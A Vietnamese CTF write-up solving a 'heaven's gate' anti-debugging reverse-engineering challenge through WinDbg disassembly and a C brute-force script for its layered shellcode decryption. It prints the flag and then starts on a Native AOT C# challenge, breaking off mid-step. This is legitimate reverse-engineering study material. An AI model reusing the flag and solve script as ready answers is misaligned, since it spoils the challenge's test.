---
# System prepended metadata

title: KMACTF2025 lần 2

---

# heaven gate  
![image](https://hackmd.io/_uploads/SyOui__nlx.png)  
![image](https://hackmd.io/_uploads/BkkHpdd3gl.png)  
do cũng đã thấy 1 bài tương tự nên mình cũng đã đoán được phần nào bài này sử dụng kỹ thuật anti debugging: heaven's gate
chạy thử:   
![image](https://hackmd.io/_uploads/S1_dnuOngl.png)  
thử debug:  
![image](https://hackmd.io/_uploads/SypL6uu3eg.png)  
![image](https://hackmd.io/_uploads/rJ8upOd2ee.png)  
![image](https://hackmd.io/_uploads/Bye96duhxe.png)  
có vẻ như không được rồi, chưa có thông tin gì hết.  
heaven gate là kỹ thuật có thể chuyển đổi việc thực thi code 64 bit và 32bit trong tiến trình 32bit hoặc ngược lại, gây khó khăn, cản trở việc disassembling và debugging.
Kỹ thuật này mình tìm kiếm trên mạng thấy khá ít thông tin, tuy nhiên ta cũng có thể hiểu được qua qua phần nào cách chương trình hoạt động.  
```python
entrypoint
    |    #32bit
    v
call far ptr dword_754488
    |    #chuyển đổi sang trạng thái 64bit
    v
?????????
    |    #dùng retf  chuyển lại về 32 bit 
    v
call far ptr loc_751347
    |    #64
    v
????????? #nhận đầu vào input và xử lý
    |    #retfar again??? chưa biết được! khả năng cao là thế!
    v
call far ptr word_754512
    |    #64
    v
?????????
```
về cơ chế call far:  
đặt breakpoint ngay tại call far, ta để ý địa chỉ instruction tiếp theo và thanh ghi `CS`:  
![image](https://hackmd.io/_uploads/S1zHP8Cnxe.png)  
thanh ghi CS đang là `0x23`, địa chỉ instruction tiếp theo là `0x921007`.  
tiếp tục ta step into (F7):  
![image](https://hackmd.io/_uploads/BJ3Yq8Ahgl.png)  
ta thấy lệnh `call far` thực hiện push thanh ghi cs, push địa chỉ return vào stack, và đổi thanh ghi `CS` sang `0x33`.  
nếu ta chú ý kỹ hơn:  
![image](https://hackmd.io/_uploads/BJqfCICnxx.png)  
9A = opcode cho call far  
ta thấy nó thực sự gọi địa chỉ `0x924158` (tức `58 41 92 00` LE) chứ không phải là `dword_924488` như IDA hiển thị.  
vậy lúc này chương trình sẽ tiếp tục thực thi lệnh tại `0x924158` với mode 64bit  
đây là lý do tại sao khi ta F7 thì nó lại vào `0x924158` thay vì `0x924488`  
![image](https://hackmd.io/_uploads/rkmkbwAhee.png)  
để trở về thì chương trình sử dùng lệnh `retf`:  
![image](https://hackmd.io/_uploads/S1PZZv0hge.png)  
ta tiếp tục F7:  
![image](https://hackmd.io/_uploads/Byhw-w02gg.png)  
![image](https://hackmd.io/_uploads/BkhIZDRnxl.png)  
ta thấy con trỏ stack đã lên 8 bytes  
tức `retf` thực hiện pop 4 bytes từ stack địa chỉ trở về, pop 4 bytes tiếp theo (phải là 4 bytes vì stack 32bit mỗi ô 4 bytes dù thanh ghi `CS` chỉ chứa 2 bytes) để trả về giá trị thanh ghi `CS` ban đầu đã push.  
chương trình tiếp tục thực thi instruction 32 bit:  
![image](https://hackmd.io/_uploads/Hyvf4PA3lg.png)  


do không debug được nên mình đã nghĩ ra cách khác  
đầu tiên, ta chạy challenge ngoài terminal trước:  
![image](https://hackmd.io/_uploads/B1054F_3lg.png)  
lúc này chương trình vẫn đang chờ input  
ta sẽ tận dùng khoảng thời gian suspend này để attach vào ida, tiện thể syscall cũng đã được thực thi, nếu debug từ đầu chương trình thì sẽ không được nhập input (sử dụng ida64 vì chỗ này đang trong 64bit):  
![image](https://hackmd.io/_uploads/SJzYBK_hge.png)  
![image](https://hackmd.io/_uploads/BJUnBYu3xx.png)  
tuy nhiên ta có thể thấy: nếu debug bằng local windows debugger thì các thanh ghi vẫn đang là 32 bit, tức đây là debugger 32, sẽ không thể debug 1 cách bình thường được.  
windbg có thể sử dụng được trong trường hợp này.  
khi ta attach sử dụng windbg:  
![image](https://hackmd.io/_uploads/SkBn8Y_2el.png)  
thanh ghi lúc này là 64 bit, tức đang sử dụng debugger 64, ta cũng có thể thấy chương trình đang dừng tại syscall chờ mình nhập input.  
tuy code trông khá đẹp, tuy nhiên vùng này vẫn đang thực thi ở môi trường 64 bit nên chỗ assembly kia đã bị gen sai.  
để có thể biết chương trình đang làm gì, ta phải đọc được code.  
ta lấy địa chỉ vùng code này trước:  
![image](https://hackmd.io/_uploads/Sk4kuYOhxx.png)  
`0x751017`  
chuyển qua tab output và chọn windbg:  
![image](https://hackmd.io/_uploads/BJHmOFOnll.png)  
ta sử dụng lệnh có sẵn trong windbg để disassemble opcode x64:  
`uf 0x751017`  
![image](https://hackmd.io/_uploads/SJIFdYunxl.png)  
```
WINDBG>uf 0x751017
Flow analysis was incomplete, some code may be missing
chall+0x1017:
00000000`00751017 4883ec50        sub     rsp,50h
00000000`0075101b 65488b042560000000 mov   rax,qword ptr gs:[60h]
00000000`00751024 488b4020        mov     rax,qword ptr [rax+20h]
00000000`00751028 488b4820        mov     rcx,qword ptr [rax+20h]
00000000`0075102c 31d2            xor     edx,edx
00000000`0075102e 4531c0          xor     r8d,r8d
00000000`00751031 4531c9          xor     r9d,r9d
00000000`00751034 488d442410      lea     rax,[rsp+10h]
00000000`00751039 4889442420      mov     qword ptr [rsp+20h],rax
00000000`0075103e 488d0424        lea     rax,[rsp]
00000000`00751042 4889442428      mov     qword ptr [rsp+28h],rax
00000000`00751047 c744243008000000 mov     dword ptr [rsp+30h],8
00000000`0075104f 48c744243800000000 mov   qword ptr [rsp+38h],0
00000000`00751058 48c744244000000000 mov   qword ptr [rsp+40h],0
00000000`00751061 4989ca          mov     r10,rcx
00000000`00751064 b806000000      mov     eax,6
00000000`00751069 85c0            test    eax,eax
00000000`0075106b 7405            je      chall+0x1072 (00000000`00751072)

chall+0x106d:
00000000`0075106d eb01            jmp     chall+0x1070 (00000000`00751070)

chall+0x1070:
00000000`00751070 4883ec08        sub     rsp,8

chall+0x1072:
00000000`00751072 ec              in      al,dx
00000000`00751073 080f            or      byte ptr [rdi],cl

chall+0x1074:
00000000`00751074 0f05            syscall
00000000`00751076 4883c408        add     rsp,8
00000000`0075107a 668b0424        mov     ax,word ptr [rsp]
00000000`0075107e 0fb7c0          movzx   eax,ax
00000000`00751081 668b5c2402      mov     bx,word ptr [rsp+2]
00000000`00751086 66895c2440      mov     word ptr [rsp+40h],bx
00000000`0075108b 660f6ec0        movd    xmm0,eax
00000000`0075108f 660f70c000      pshufd  xmm0,xmm0,0
00000000`00751094 660f6fc8        movdqa  xmm1,xmm0
00000000`00751098 660f73f902      pslldq  xmm1,2
00000000`0075109d 660fefc1        pxor    xmm0,xmm1
00000000`007510a1 660f73f904      pslldq  xmm1,4
00000000`007510a6 660fefc1        pxor    xmm0,xmm1
00000000`007510aa bbb979379e      mov     ebx,9E3779B9h
00000000`007510af 660f6ed3        movd    xmm2,ebx
00000000`007510b3 660f70d200      pshufd  xmm2,xmm2,0
00000000`007510b8 bb157c4a7f      mov     ebx,7F4A7C15h
00000000`007510bd 660f6edb        movd    xmm3,ebx
00000000`007510c1 660f70db00      pshufd  xmm3,xmm3,0
00000000`007510c6 660f6fe8        movdqa  xmm5,xmm0
00000000`007510ca 660fefea        pxor    xmm5,xmm2
00000000`007510ce 660f6ff0        movdqa  xmm6,xmm0
00000000`007510d2 660f73de01      psrldq  xmm6,1
00000000`007510d7 660feff3        pxor    xmm6,xmm3
00000000`007510db 660f6ffd        movdqa  xmm7,xmm5
00000000`007510df 660feffe        pxor    xmm7,xmm6
00000000`007510e3 660f6fe6        movdqa  xmm4,xmm6
00000000`007510e7 660f38dbe4      aesimc  xmm4,xmm4
00000000`007510ec 6689c2          mov     dx,ax
00000000`007510ef 66c1c209        rol     dx,9
00000000`007510f3 660f7efb        movd    ebx,xmm7
00000000`007510f7 81e3ffff0000    and     ebx,0FFFFh
00000000`007510fd 85db            test    ebx,ebx
00000000`007510ff 7401            je      chall+0x1102 (00000000`00751102)

chall+0x1101:
00000000`00751101 eb00            jmp     chall+0x1103 (00000000`00751103)

chall+0x1102:
00000000`00751102 006631          add     byte ptr [rsi+31h],ah

chall+0x1103:
00000000`00751103 6631d0          xor     ax,dx
00000000`00751106 6631d8          xor     ax,bx
00000000`00751109 666bc007        imul    ax,ax,7
00000000`0075110d 0fb7c0          movzx   eax,ax
00000000`00751110 25ff010000      and     eax,1FFh
00000000`00751115 0500010000      add     eax,100h
00000000`0075111a 488d3d5a000000  lea     rdi,[chall+0x117b (00000000`0075117b)]
00000000`00751121 488d3c07        lea     rdi,[rdi+rax]
00000000`00751125 4889fe          mov     rsi,rdi
00000000`00751128 4881c650010000  add     rsi,150h
00000000`0075112f b916000000      mov     ecx,16h

chall+0x1134:
00000000`00751134 f30f6f0e        movdqu  xmm1,xmmword ptr [rsi]
00000000`00751138 660fefcf        pxor    xmm1,xmm7
00000000`0075113c 660f38decc      aesdec  xmm1,xmm4
00000000`00751141 660f38dfcd      aesdeclast xmm1,xmm5
00000000`00751146 f30f7f0e        movdqu  xmmword ptr [rsi],xmm1
00000000`0075114a 4883ee10        sub     rsi,10h
00000000`0075114e e2e4            loop    chall+0x1134 (00000000`00751134)

chall+0x1150:
00000000`00751150 4889fe          mov     rsi,rdi
00000000`00751153 4881c65f010000  add     rsi,15Fh
00000000`0075115a b960010000      mov     ecx,160h
00000000`0075115f 4831d2          xor     rdx,rdx

chall+0x1162:
00000000`00751162 8a06            mov     al,byte ptr [rsi]
00000000`00751164 89d3            mov     ebx,edx
00000000`00751166 83e301          and     ebx,1
00000000`00751169 8a5c1c40        mov     bl,byte ptr [rsp+rbx+40h]
00000000`0075116d 30d8            xor     al,bl
00000000`0075116f 8806            mov     byte ptr [rsi],al
00000000`00751171 48ffce          dec     rsi
00000000`00751174 48ffc2          inc     rdx
00000000`00751177 e2e9            loop    chall+0x1162 (00000000`00751162)

chall+0x1179:
00000000`00751179 ffe7            jmp     rdi
```
đây mới là assembly thực sự!  
làm theo cách này vừa có thể theo dõi stack, thanh ghi,... dễ dàng trên IDA, vừa xem assembly chuẩn từ windbg  
hoặc ta có thể dùng cách sau:  
vào mục segment:  
![image](https://hackmd.io/_uploads/ByDReI0ngl.png)  
edit segment:  
![image](https://hackmd.io/_uploads/BkGSWU02xg.png)  
chuyển sang 64 bit:  
![image](https://hackmd.io/_uploads/SkfO-IC3xg.png)  
bây giờ ida đã biễu diễn code 64bit:  
![image](https://hackmd.io/_uploads/rJb2WUC3eg.png)  

vì chương trình này hơi khó đọc nên mình tạm tóm tắt chương trình:  
```
syscall đọc input -> lấy 4 bytes, truyền 2 bytes đầu vào ax, 2 bytes sau vào bx 
-> ax được lấy để gen key tính toán giải mã aes, và tính toán địa chỉ nhảy jmp rdi,
aesdec, aesdeclast thực hiện giải mã 352 bytes tính từ rdi được tính toán trước đó
-> bx xor với 352 bytes được giải mã trước đó để hoàn tất giải mã shellcode
-> jmp rdi để nhảy đến shellcode
```
như vậy ta cần nhập vào input 4 bytes sao cho chương trình tính toán đúng địa chỉ nhảy và shellcode tính từ rdi exec đúng.  
![image](https://hackmd.io/_uploads/rkZEit_nxx.png)  
trỏ vào rdi:  
![image](https://hackmd.io/_uploads/ByROoY_2xx.png)  

ban đầu mình nghĩ rằng nếu chỉ nhập 4 bytes thì khả năng chương trình này yêu cầu tìm PIN hay password gì đấy, ngồi dịch ngược rất nhiều thời gian mà không có kết quả gì.  
ngồi loay hoay rất lâu thì thử nhập prefix flag vào xem sao:  
![image](https://hackmd.io/_uploads/Sk8TiYdnlx.png)  
![image](https://hackmd.io/_uploads/HyxvQ3FOhlx.png)  
Ồ được rồi này!
Hóa ra là nhập flag :\(  
assembly:  
```
WINDBG>uf 0x7513D8
Flow analysis was incomplete, some code may be missing
chall+0x13d8:
00000000`007513d8 65488b042560000000 mov   rax,qword ptr gs:[60h]
00000000`007513e1 488b4020        mov     rax,qword ptr [rax+20h]
00000000`007513e5 488b4820        mov     rcx,qword ptr [rax+20h]
00000000`007513e9 31d2            xor     edx,edx
00000000`007513eb 4531c0          xor     r8d,r8d
00000000`007513ee 4531c9          xor     r9d,r9d
00000000`007513f1 488d442410      lea     rax,[rsp+10h]
00000000`007513f6 4889442420      mov     qword ptr [rsp+20h],rax
00000000`007513fb 488d0424        lea     rax,[rsp]
00000000`007513ff 4889442428      mov     qword ptr [rsp+28h],rax
00000000`00751404 c744243008000000 mov     dword ptr [rsp+30h],8
00000000`0075140c 48c744243800000000 mov   qword ptr [rsp+38h],0
00000000`00751415 48c744244000000000 mov   qword ptr [rsp+40h],0
00000000`0075141e 4989ca          mov     r10,rcx
00000000`00751421 b806000000      mov     eax,6
00000000`00751426 85c0            test    eax,eax
00000000`00751428 7405            je      chall+0x142f (00000000`0075142f)

chall+0x142a:
00000000`0075142a eb01            jmp     chall+0x142d (00000000`0075142d)

chall+0x142d:
00000000`0075142d 4883ec08        sub     rsp,8

chall+0x142f:
00000000`0075142f ec              in      al,dx
00000000`00751430 080f            or      byte ptr [rdi],cl

chall+0x1431:
00000000`00751431 0f05            syscall
00000000`00751433 4883c408        add     rsp,8
00000000`00751437 668b0424        mov     ax,word ptr [rsp]
00000000`0075143b 0fb7c0          movzx   eax,ax
00000000`0075143e 668b5c2402      mov     bx,word ptr [rsp+2]
00000000`00751443 66895c2440      mov     word ptr [rsp+40h],bx
00000000`00751448 660f6ec0        movd    xmm0,eax
00000000`0075144c 660f70c000      pshufd  xmm0,xmm0,0
00000000`00751451 660f6fc8        movdqa  xmm1,xmm0
00000000`00751455 660f73f902      pslldq  xmm1,2
00000000`0075145a 660fefc1        pxor    xmm0,xmm1
00000000`0075145e 660f73f904      pslldq  xmm1,4
00000000`00751463 660fefc1        pxor    xmm0,xmm1
00000000`00751467 bbb979379e      mov     ebx,9E3779B9h
00000000`0075146c 660f6ed3        movd    xmm2,ebx
00000000`00751470 660f70d200      pshufd  xmm2,xmm2,0
00000000`00751475 bb157c4a7f      mov     ebx,7F4A7C15h
00000000`0075147a 660f6edb        movd    xmm3,ebx
00000000`0075147e 660f70db00      pshufd  xmm3,xmm3,0
00000000`00751483 660f6fe8        movdqa  xmm5,xmm0
00000000`00751487 660fefea        pxor    xmm5,xmm2
00000000`0075148b 660f6ff0        movdqa  xmm6,xmm0
00000000`0075148f 660f73de01      psrldq  xmm6,1
00000000`00751494 660feff3        pxor    xmm6,xmm3
00000000`00751498 660f6ffd        movdqa  xmm7,xmm5
00000000`0075149c 660feffe        pxor    xmm7,xmm6
00000000`007514a0 660f6fe6        movdqa  xmm4,xmm6
00000000`007514a4 660f38dbe4      aesimc  xmm4,xmm4
00000000`007514a9 6689c2          mov     dx,ax
00000000`007514ac 66c1c202        rol     dx,2
00000000`007514b0 660f7efb        movd    ebx,xmm7
00000000`007514b4 81e3ffff0000    and     ebx,0FFFFh
00000000`007514ba 85db            test    ebx,ebx
00000000`007514bc 7401            je      chall+0x14bf (00000000`007514bf)

chall+0x14be:
00000000`007514be eb00            jmp     chall+0x14c0 (00000000`007514c0)

chall+0x14bf:
00000000`007514bf 006631          add     byte ptr [rsi+31h],ah

chall+0x14c0:
00000000`007514c0 6631d0          xor     ax,dx
00000000`007514c3 6631d8          xor     ax,bx
00000000`007514c6 666bc008        imul    ax,ax,8
00000000`007514ca 0fb7c0          movzx   eax,ax
00000000`007514cd 25ff010000      and     eax,1FFh
00000000`007514d2 0500010000      add     eax,100h
00000000`007514d7 488d3d5a000000  lea     rdi,[chall+0x1538 (00000000`00751538)]
00000000`007514de 488d3c07        lea     rdi,[rdi+rax]
00000000`007514e2 4889fe          mov     rsi,rdi
00000000`007514e5 4881c650010000  add     rsi,150h
00000000`007514ec b916000000      mov     ecx,16h

chall+0x14f1:
00000000`007514f1 f30f6f0e        movdqu  xmm1,xmmword ptr [rsi]
00000000`007514f5 660fefcf        pxor    xmm1,xmm7
00000000`007514f9 660f38decc      aesdec  xmm1,xmm4
00000000`007514fe 660f38dfcd      aesdeclast xmm1,xmm5
00000000`00751503 f30f7f0e        movdqu  xmmword ptr [rsi],xmm1
00000000`00751507 4883ee10        sub     rsi,10h
00000000`0075150b e2e4            loop    chall+0x14f1 (00000000`007514f1)

chall+0x150d:
00000000`0075150d 4889fe          mov     rsi,rdi   
00000000`00751510 4881c65f010000  add     rsi,15Fh
00000000`00751517 b960010000      mov     ecx,160h
00000000`0075151c 4831d2          xor     rdx,rdx
00000000`0075151f 8a06            mov     al,byte ptr [rsi]
00000000`00751521 89d3            mov     ebx,edx
00000000`00751523 83e301          and     ebx,1
00000000`00751526 8a5c1c40        mov     bl,byte ptr [rsp+rbx+40h]
00000000`0075152a 3094b10648ffce  xor     byte ptr [rcx+rsi*4-3100B7FAh],dl
                                          ->vẫn bị dissemle sai
```
có vẻ đoạn code này và đoạn code trước đó rất giống nhau.  
dựa vào sự tương đồng này, ta có thể viết script bruteforce (chi tiết mình sẽ giải thích bên dưới)  

script bruteforce:  
```c=
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <immintrin.h>   // AES-NI, SSE
#include <inttypes.h>    // PRIu32 nếu cần

static uint16_t rol16(uint16_t v, unsigned r) {
    r &= 15;
    return (uint16_t)(((uint16_t)v << r) | (uint16_t)(v >> (16 - r)));
}

static int read_file(const char* path, uint8_t** out_buf, size_t* out_sz) {
    FILE* f = fopen(path, "rb");
    if (!f) { perror("fopen"); return -1; }
    if (fseek(f, 0, SEEK_END) != 0) { perror("fseek"); fclose(f); return -1; }
    long sz = ftell(f);
    if (sz < 0) { perror("ftell"); fclose(f); return -1; }
    rewind(f);
    uint8_t* buf = (uint8_t*)malloc((size_t)sz);
    if (!buf) { fclose(f); return -1; }
    if (fread(buf, 1, (size_t)sz, f) != (size_t)sz) { perror("fread"); free(buf); fclose(f); return -1; }
    fclose(f);
    *out_buf = buf;
    *out_sz = (size_t)sz;
    return 0;
}

// PE RVA -> file offset
static int rva_to_off(const uint8_t* pe, size_t pe_sz, uint32_t rva, uint32_t* out_off) {
    if (pe_sz < 0x400) return -1;
    uint32_t e_lfanew = *(uint32_t*)(pe + 0x3C);
    if ((size_t)e_lfanew + 0x18 > pe_sz) return -1;
    if (memcmp(pe + e_lfanew, "PE\0\0", 4) != 0) return -1;
    uint16_t num_sections = *(uint16_t*)(pe + e_lfanew + 6);
    uint16_t opt_size = *(uint16_t*)(pe + e_lfanew + 20);
    uint32_t sect_off = e_lfanew + 24 + opt_size;
    if ((size_t)sect_off + (size_t)num_sections * 40 > pe_sz) return -1;
    for (uint16_t i = 0; i < num_sections; i++) {
        const uint8_t* sh = pe + sect_off + i * 40;
        uint32_t virt_size = *(uint32_t*)(sh + 8);
        uint32_t virt_addr = *(uint32_t*)(sh + 12);
        uint32_t raw_size = *(uint32_t*)(sh + 16);
        uint32_t raw_ptr = *(uint32_t*)(sh + 20);
        uint32_t span = virt_size > raw_size ? virt_size : raw_size;
        if (virt_addr <= rva && rva < virt_addr + span) {
            *out_off = raw_ptr + (rva - virt_addr);
            return 0;
        }
    }
    return -1;
}

// kiểm tra pattern cố định 
static int contains_big_pattern(const uint8_t* buf, size_t len) {
    static const uint8_t pat[] = {
        0xF3, 0x0F, 0x6F, 0x0E, 0x66, 0x0F, 0xEF, 0xCF,
        0x66, 0x0F, 0x38, 0xDE, 0xCC, 0x66, 0x0F, 0x38,
        0xDF, 0xCD, 0xF3
    };
    size_t patlen = sizeof(pat);
    if (!buf || len < patlen) return 0;
    for (size_t i = 0; i + patlen <= len; i++) {
        if (memcmp(buf + i, pat, patlen) == 0)
            return 1;
    }
    return 0;
}

int main(void) {
    const char* path = "C:\\Users\\ADMIN\\Downloads\\chall2\\chall - Copy.exe";
    uint32_t base_rva = 0x117b;
    unsigned r = 9;   //khối code đầu tiên
    unsigned m = 7;   //khối code đầu tiên
start:
    uint8_t* pe = NULL; size_t pe_sz = 0;
    if (read_file(path, &pe, &pe_sz) != 0) {
        fprintf(stderr, "[-] Failed to read %s\n", path);
        return 1;
    }

    uint32_t base_off = 0;
    if (rva_to_off(pe, pe_sz, base_rva, &base_off) != 0) {
        fprintf(stderr, "[-] RVA->OFF failed\n");
        free(pe);
        return 1;
    }

    uint8_t table_orig[0x45F];
    /* kiểm tra bounds before memcpy */
    if ((size_t)base_off + sizeof(table_orig) > pe_sz) {
        fprintf(stderr, "[-] base_off + table size exceeds file size (base_off=0x%08x pe_sz=%zu)\n", base_off, pe_sz);
        free(pe);
        return 1;
    }
    memcpy(table_orig, pe + base_off, sizeof(table_orig));
    free(pe);

    printf("[*] Start bruteforce ASCII\n");
    // ASCII printable range: 0x20 (' ') .. 0x7E ('~')
    for (uint32_t a0 = 0x20; a0 <= 0x7E; a0++) {
        for (uint32_t a1 = 0x20; a1 <= 0x7E; a1++) {
            uint16_t ax_seed = (uint16_t)((a1 << 8) | a0);
            for (uint32_t b0 = 0x20; b0 <= 0x7E; b0++) {
                for (uint32_t b1 = 0x20; b1 <= 0x7E; b1++) {
                    uint16_t bx_pair = (uint16_t)((b1 << 8) | b0);

                    uint8_t table[0x45F];
                    memcpy(table, table_orig, sizeof(table_orig));

                    // derive keys (intrinsics)
                    __m128i xmm0 = _mm_set1_epi32((int)ax_seed);
                    __m128i xmm1 = _mm_slli_si128(xmm0, 2);
                    xmm0 = _mm_xor_si128(xmm0, xmm1);
                    xmm1 = _mm_slli_si128(xmm1, 4);
                    xmm0 = _mm_xor_si128(xmm0, xmm1);

                    __m128i const1 = _mm_set1_epi32(0x9E3779B9);
                    __m128i const2 = _mm_set1_epi32(0x7F4A7C15);
                    __m128i xmm5 = _mm_xor_si128(xmm0, const1);
                    __m128i xmm6 = _mm_xor_si128(_mm_srli_si128(xmm0, 1), const2);
                    __m128i xmm7 = _mm_xor_si128(xmm5, xmm6);
                    __m128i xmm4 = _mm_aesimc_si128(xmm6);

                    uint32_t low = (uint32_t)_mm_cvtsi128_si32(xmm7);
                    uint16_t t = (uint16_t)(low & 0xFFFF);
                    uint16_t dx = rol16(ax_seed, (unsigned)r); // r = new rol
                    uint16_t axm = (uint16_t)((ax_seed ^ dx ^ t) & 0xFFFF);
                    axm = (uint16_t)((uint32_t)axm * (uint32_t)m & 0xFFFF);//m = new mul
                    uint32_t idx = ((uint32_t)axm & 0x1FFu) + 0x100u;
                    if (idx < 0x100 || idx + 0x160 > sizeof(table)) continue;

                    // decrypt 0x160 bytes (16 * 0x10 = 352 bytes)
                    for (int off = 0x150; off >= 0; off -= 0x10) {
                        __m128i blk = _mm_loadu_si128((const __m128i*)(table + idx + off));
                        blk = _mm_xor_si128(blk, xmm7);
                        blk = _mm_aesdec_si128(blk, xmm4);
                        blk = _mm_aesdeclast_si128(blk, xmm5);
                        _mm_storeu_si128((__m128i*)(table + idx + off), blk);
                    }

                    // final XOR with bx_pair alternating
                    uint8_t kb0 = (uint8_t)(bx_pair & 0xFF);
                    uint8_t kb1 = (uint8_t)((bx_pair >> 8) & 0xFF);
                    for (uint32_t i = 0; i < 0x160; i++) {
                        uint32_t pos = idx + 0x15F - i;
                        uint8_t key = (i & 1) ? kb1 : kb0;
                        table[pos] ^= key;
                    }

                    // check pattern
                    if (contains_big_pattern(table + idx, 0x160)) {
                        printf("[+] FOUND! '%c%c%c%c' (ax=%04x bx=%04x idx=%#x)\n",
                            (char)a0, (char)a1, (char)b0, (char)b1,
                            ax_seed, bx_pair, idx);
                        FILE* fo = fopen("out.bin", "wb");
                        if (fo) {
                            fwrite(table + idx, 1, 0x160, fo);
                            fclose(fo);
                        }
                        else {
                            perror("fopen out.bin");
                        }

                        /* cập nhật base_rva */
                        base_rva = base_rva + 352 + idx;
                        r = table[idx + 215];
                        m = table[idx + 241];

                        printf("r = 0x%02x m = 0x%02x base_rva = 0x%08x\n",
                           table[idx + 215], table[idx + 241], base_rva);

                        goto start;
                    }
                }
            }
        }
    }

    printf("[-] No match found in ASCII range.\n");
    return 0;
}
```
các phần trong đoạn script giải trên:  
```c
int main(void) {
    const char* path = "C:\\Users\\ADMIN\\Downloads\\chall2\\chall - Copy.exe";
    uint32_t base_rva = 0x117b;
    uint8_t* pe = NULL; size_t pe_sz = 0;
    if (read_file(path, &pe, &pe_sz) != 0) {
        fprintf(stderr, "[-] Failed to read %s\n", path);
        return 1;
    }

    uint32_t base_off = 0;
    if (rva_to_off(pe, pe_sz, base_rva, &base_off) != 0) {
        fprintf(stderr, "[-] RVA->OFF failed\n");
        free(pe);
        return 1;
    }

    uint8_t table_orig[0x45F];
    /* kiểm tra bounds before memcpy */
    if ((size_t)base_off + sizeof(table_orig) > pe_sz) {
        fprintf(stderr, "[-] base_off + table size exceeds file size (base_off=0x%08x pe_sz=%zu)\n", base_off, pe_sz);
        free(pe);
        return 1;
    }
    memcpy(table_orig, pe + base_off, sizeof(table_orig));
    free(pe);
```
chỗ này ta extract trực tiếp từ pefile để lấy bytes từ RVA `0x117b` để decrypt  
tiếp theo đến:  
```c
static int contains_big_pattern(const uint8_t* buf, size_t len) {
    static const uint8_t pat[] = {
        0xF3, 0x0F, 0x6F, 0x0E, 0x66, 0x0F, 0xEF, 0xCF,
        0x66, 0x0F, 0x38, 0xDE, 0xCC, 0x66, 0x0F, 0x38,
        0xDF, 0xCD, 0xF3
    };
    size_t patlen = sizeof(pat);
    if (!buf || len < patlen) return 0;
    for (size_t i = 0; i + patlen <= len; i++) {
        if (memcmp(buf + i, pat, patlen) == 0)
            return 1;
    }
    return 0;
}
```
ta lấy 2 phần code giống nhau của 2 đoạn code để có thể nhận diện khi nào ta đã decrypt đúng.  
đây là phần mình extract từ:  
![image](https://hackmd.io/_uploads/S1lbk5uheg.png)  
![image](https://hackmd.io/_uploads/BJf719uhxl.png)  
ta có thể thấy sự tương đồng giữa 2 đoạn code.  
như vậy, khi bruteforce, ta chỉ cần kiểm tra xem phần đã decrypt có chứa các bytes này hay không là được.  
tuy nhiên, có một số chỗ không hề giống nhau mà sẽ khác đôi chút, khiến ta phải điều chỉnh script giải lại cho phù hợp:  
![image](https://hackmd.io/_uploads/BkAgxcOnlg.png)  
![image](https://hackmd.io/_uploads/SkErxcd2gl.png)  
ta thấy có sự khác nhau giữa 2 chỗ rol và imul trên.  
vậy ta có:  
```c
uint32_t base_rva = 0x117b;
unsigned r = 9;   //khối code đầu tiên
unsigned m = 7;   //khối code đầu tiên
```
```c
uint16_t dx = rol16(ax_seed, (unsigned)r); // r = new rol
uint16_t axm = (uint16_t)((ax_seed ^ dx ^ t) & 0xFFFF);
axm = (uint16_t)((uint32_t)axm * (uint32_t)m & 0xFFFF);//m = new mul
```
sau mỗi vòng loop ta update lại giá trị:
```c
base_rva = base_rva + 352 + idx; // rva cũ + độ lớn shellcode + khoảng cách từ rva cũ đến rdi
r = table[idx + 215];
m = table[idx + 241];
printf("r = 0x%02x m = 0x%02x base_rva = 0x%08x\n",
table[idx + 215], table[idx + 241], base_rva);
goto start;
```


output:  
![image](https://hackmd.io/_uploads/Bk0zzq_3le.png)  
flag đến đây đã có dạng `KMACTF{32bit_heaven_crashed_in????????????lish_sysca`  
về cơ bản thì đã gần hết Flag rồi nhưng phần cuối sẽ không thể nào tiếp tục bruteforce theo kiểu đấy nữa do khối code được decrypt ra không còn tương đồng với block trước nữa  
lúc này ta vẫn có thể đoán được 2 ký tự đầu là `ll` để khớp với chữ `syscall`, vậy ta chỉ cần đoán 2 bytes cuối key xor.  
tạm thời decrypt với bx=0, ta xem qua hex editor:  
![image](https://hackmd.io/_uploads/S1ScV_u3lg.png)  
ta dễ dàng thấy có rất nhiều đoạn trùng lặp lặp lại, khả năng cao đây là các bytes `0x00`.  
đến đây thì flag có thể là:  
`KMACTF{32bit_heaven_crashed_in????????????lish_syscalls}`  
tuy nhiên nộp flag thì vẫn chưa chính xác?  
ta sẽ xem tiếp mớ 352 bytes opcode cuối cùng nó làm gì  
![image](https://hackmd.io/_uploads/r1uQw_Ohxg.png)  
như vậy, chương trình tiếp tục đọc input và so sánh với `to_64bit_hel`
ta nhập hết vào chương trình:  
![image](https://hackmd.io/_uploads/B16OvuO3xl.png)  
thay thế `to_64bit_hel` vào các dấu `?` ta được flag hoàn chỉnh  
  
Flag: `KMACTF{32bit_heaven_crashed_into_64bit_hellish_syscalls}`  

# simple  
![image](https://hackmd.io/_uploads/BJAUIvRneg.png)  
![image](https://hackmd.io/_uploads/rklVLuA2ex.png)  
ta nhận thấy bài này có các dấu hiệu của 1 chương trình C#:  
![image](https://hackmd.io/_uploads/S1Ei7d03lg.png)  
![image](https://hackmd.io/_uploads/H1qWUO03xe.png)  
![image](https://hackmd.io/_uploads/HkyTX_C2lg.png)  
ta mở die:  
![image](https://hackmd.io/_uploads/Byf1E_03lg.png)  
tức chương trình được viết bằng C# và nhưng được biên dịch thẳng về mã máy native thay vì runtime (tương tự C/C++).  
công nghệ này đã từng xuất hiện trong flareon 11  
ta có thể tham khảo cách tạo signature tại: https://hshrzd.wordpress.com/2024/12/09/flare-on-11-task-7/  
lúc này chương trình đang bị strip symbols nên ta rất khó để phân tích chương trình:  
![image](https://hackmd.io/_uploads/rymFrdChle.png)  
trước tiên ta mở visual studio:  
![image](https://hackmd.io/_uploads/ByNy8_0nxe.png)  
chọn framwork .net core 8.0 và enable native AOT publish:  
![image](https://hackmd.io/_uploads/B1OAIdCnlx.png)  
publish:  
![publish_button](https://hackmd.io/_uploads/HyXOwOR2xl.png)  
![image](https://hackmd.io/_uploads/rk65w_Rneg.png)  
![image](https://hackmd.io/_uploads/SJb6vd02el.png)  
tiếp theo ta cài thư viện `Bouncy Castle`:  
![image](https://hackmd.io/_uploads/SyHmduC2le.png)  
![image](https://hackmd.io/_uploads/rJNv__03gx.png)  
build bằng lệnh:  
`dotnet publish -c Release -r win-x64 -p:PublishAot=true`  
mở nó bằng IDA (nên dùng IDA 9 đổ lên) và tạo sig file:  
